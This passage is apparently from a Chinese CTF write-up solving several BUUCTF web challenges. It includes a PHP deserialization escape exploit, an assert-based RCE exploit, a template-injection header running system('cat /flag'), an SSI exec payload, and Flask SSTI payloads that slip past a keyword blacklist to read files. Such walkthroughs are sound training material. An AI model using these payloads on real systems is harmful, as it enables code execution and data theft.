$config['database'] = '';
$flag = '';
?>

接着看profile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo'])); //读取config.php,$profile['photo']=config.php
?>

首先包含class.php,检测有无登陆,重要的在第二个if中的else,反序列化了一个profile以后,把profile数组里的内容赋值,并且读取了$profile[‘photo’]然后进行base64加密,利用点来了,就在这,但是我们需要传入$profile,不急,继续看其他的

来看update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>

先对post传入的phone,email,nickname和photo进行了正则匹配,其中nickname只能允许字符,我们这里可以通过数组绕过这个preg_match()

然后就是一个photo的文件的上传,上传路径是upload/md5($file[‘name’]),然后把$username和serialize($profile)作为参数调用update_profile()函数,继续跟进

1
2
3
4
5
6
7
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}

这里使用filter(),我们继续跟进看看他是干啥的,

1
2
3
4
5
6
7
8
9
10
11
12
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}

总的来说就是把$safe里的一些词替换成hacker,大概就是用来php反序列化字符逃逸的,这个自行百度吧

基本上就搞清楚了,是先经过正则表达式将用户提交的参数值过滤,然后序列化,然后将非法的值替换为’hacker’

详细步骤

  • 注册账户
  • 登录账户
  • 随意提交一些资料抓包
  • 修改nickname为nickname[],数组绕过长度检测
  • 修改nickname中的内容

我们可以可以不用反序列话,就能知道它反序列化后是什么,因为它是有规律的。
a:4:{s:5:“phone”;s:11:“11111111111”;s:5:“email”;s:11:“1a2s@qq.com”;s:8:“nickname”;s:3:“123”;s:5:“photo”;s:39:“upload/f3b94e88bd1bd325af6f62828c8785dd”;}
a:4指的是由一个数组序列化而来,并且有4个值。如果是对象的话,好像是把a改成了O。然后就是一个键值名,一个变量值:
s:5:”phone”;第一个键值名,是string类型的,长度为五,s:11:”11111111111”;第一个变量值,string类型,长度为11.这就是它的规律。如果我们在这个序列化字符串的后面,再加上一些字符,后面的字符是不会被反序列化的

我们的目的是将”;}s:5:”photo”;s:10:”config.php”;}插入序列化的字符串里面去,这个的长度为34,所以我们要挤出来34位,不然就成了nickname的值了。where会替换成hacker,长度加1,所以我们要构造34个where。然后去profile.php查看读取的内容。

重新解释一下:

1
2
3
4
5
6
7
原本应为
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:11:"1a2s@qq.com";s:8:"nickname";s:3:"123";s:5:"photo";s:39:"upload/d41d8cd98f00b204e9800998ecf8427e";}
我们想要插入
";}s:5:"photo";s:10:"config.php";}
通过nickname插入
{s:5:"phone";s:11:"11111111111";s:5:"email";s:11:"1a2s@qq.com";s:8:"nickname";s:3:"";}s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/d41d8cd98f00b204e9800998ecf8427e";}
nickname多加了34个字符,需要通过where替换成hacker34次增加34个字符

image-20211112183949241

[NPUCTF2020]ReadlezPHP

view-source:http://d01fde48-8bc4-4978-9c08-0b8316b0383c.node4.buuoj.cn:81/ 查看源码

发现time.php?source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

额,直接构造$b($a)RCE即可,给出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "phpinfo()";
$this->b = "assert";
}
}
$c = new HelloPhp();
echo urlencode(serialize($c));
?>

在phpinfo()界面搜索flag即可

[CISCN2019 华东南赛区]Web11

提示XFF头,这里手动添加XFF,没啥反应,也就不会了

image-20211113135630298

看了WP,才知道这里有模板注入

直接用system函数RCE。

1
X-Forwarded-For:{system(‘cat /flag’)}

[BSidesCF 2019]Futurella

额,F12就找到了

[BJDCTF2020]EasySearch

扫描到了index.php.swp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

这里提示需要md5加密以后密码前6位是6d0bc1,这里直接用Python脚本跑

脚本:

1
2
3
4
5
6
7
8
import hashlib

for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()

if a[0:6] == '6d0bc1':
print(i)
print(a)

跑出来的结果如下

image-20211113150627198

登陆后抓包,会发现包里有一个Url_is_here,访问,这里是个SSI注入

image-20211113141008144

payload:

1
<!--#exec cmd="ls ../"-->

[GYCTF2020]FlaskApp

真的是太难了,提示失败乃成功之母,指的是Debug模式,则需利用Flask Debug模式

在解密页面随便输,爆出源码

1
2
3
4
5
6
7
8
9
10
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)

这里可以SSTI

读源码:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

waf函数发现了过滤,原来是flag和os等被过滤。

1
2
3
4
5
6
def waf(str):
black_list = [&#34;flag&#34;,&#34;os&#34;,&#34;system&#34;,&#34;popen&#34;,&#34;import&#34;,&#34;eval&#34;,&#34;chr&#34;,&#34;request&#34;,
&#34;subprocess&#34;,&#34;commands&#34;,&#34;socket&#34;,&#34;hex&#34;,&#34;base64&#34;,&#34;*&#34;,&#34;?&#34;]
for x in black_list :
if x in str.lower() :
return 1

利用字符串拼接找目录,发现了this_is_the_flag.txt

1
2
3
4
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

#IHt7JycuX19jbGFzc19fLl9fYmFzZXNfX1swXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ19faW1wJysnb3J0X18nXSgnbycrJ3MnKS5saXN0ZGlyKCcvJyl9fQ==

读取使用切片省去了拼接flag的步骤

1
2
3
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

#eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbigndHh0LmdhbGZfZWh0X3NpX3NpaHQvJ1s6Oi0xXSwncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9